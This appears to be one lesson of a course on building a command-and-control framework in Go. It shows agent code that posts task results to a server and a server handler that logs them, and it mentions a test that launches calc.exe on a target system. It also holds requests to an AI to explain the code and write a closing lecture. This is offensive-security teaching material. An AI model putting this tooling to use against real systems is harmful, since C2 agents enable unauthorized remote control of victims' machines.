Just a reminder that in LESSON 8 we created SendResult, which already does everything on the agent side to send final result to the server

```go
// SendResult performs a POST request to the ResultsEndpoint to submit task results.

func (agent *Agent) SendResult(resultData []byte) error {

    targetURL := fmt.Sprintf("https://%s/results", agent.serverAddr)

    log.Printf("|RETURN RESULTS|-> Sending %d bytes of results via POST to %s", len(resultData), targetURL)

    // CREATE THE HTTP POST REQUEST
    req, err := http.NewRequest(http.MethodPost, targetURL, bytes.NewReader(resultData))
    if err != nil {
        log.Printf("|❗ ERR SendResult| Failed to create results request: %v", err)
        return fmt.Errorf("failed to create http results request: %w", err)
    }

    // SET THE HEADERS
    req.Header.Set("Content-Type", "application/json")

    // EXECUTE THE REQUEST
    resp, err := agent.client.Do(req)
    if err != nil {
        log.Printf("|❗ ERR | Results POST request failed: %v", err)
        return fmt.Errorf("http results post request failed: %w", err)
    }
    defer resp.Body.Close() // Close body even if we don't read it, to release resources

    log.Printf("💥 SUCCESSFULLY SENT FINAL RESULTS BACK TO SERVER.")
    return nil
}
```

We now just need to create the corresponding endpoint on the server side, and ability to display the result (message) from agent

So in server/server.go, inside of the Start() method we have this:

```
    // Define our GET endpoint
    r.Get("/", RootHandler)
```

Right below it add

```
    // Define our POST endpoint for results
    r.Post("/results", ResultHandler)
```

The final touch now is for us to create the result handler

NOTE - please break this down and first explain step by step as in previous lessons

```

// ResultHandler receives and displays the result from the Agent
func ResultHandler(w http.ResponseWriter, r *http.Request) {
    log.Printf("Endpoint %s has been hit by agent\n", r.URL.Path)

    var result models.AgentTaskResult

    // Decode the incoming result
    if err := json.NewDecoder(r.Body).Decode(&result); err != nil {
        log.Printf("ERROR: Failed to decode JSON: %v", err)
        w.WriteHeader(http.StatusBadRequest)
        json.NewEncoder(w).Encode("error decoding JSON")
        return
    }

    // Unmarshal the CommandResult to get the actual message string
    var messageStr string
    if len(result.CommandResult) > 0 {
        if err := json.Unmarshal(result.CommandResult, &messageStr); err
!= nil {
```

```
            log.Printf("ERROR: Failed to unmarshal CommandResult: %v",
err)
            messageStr = string(result.CommandResult) // Fallback to raw
bytes as string
        }
    }

    if !result.Success {
        log.Printf("Job (ID: %s) has failed\nMessage: %s\nError: %v",
result.JobID, messageStr, result.Error)
    } else {
        log.Printf("Job (ID: %s) has succeeded\nMessage: %s",
result.JobID, messageStr)
    }
}
```

test

- We can once again run our server, client (curl), and agent
- Should once again see calc.exe pop up on agent (target system)
- And now we get confirmation of final result
- We completed the loop!

ALSO PLEASE CREATE A FINAL LECTURE, CONCLUSION, GOOD REVIEW OVERVIEW OF LESSONS LEARNED KEY TAKEWAYS ETC ETC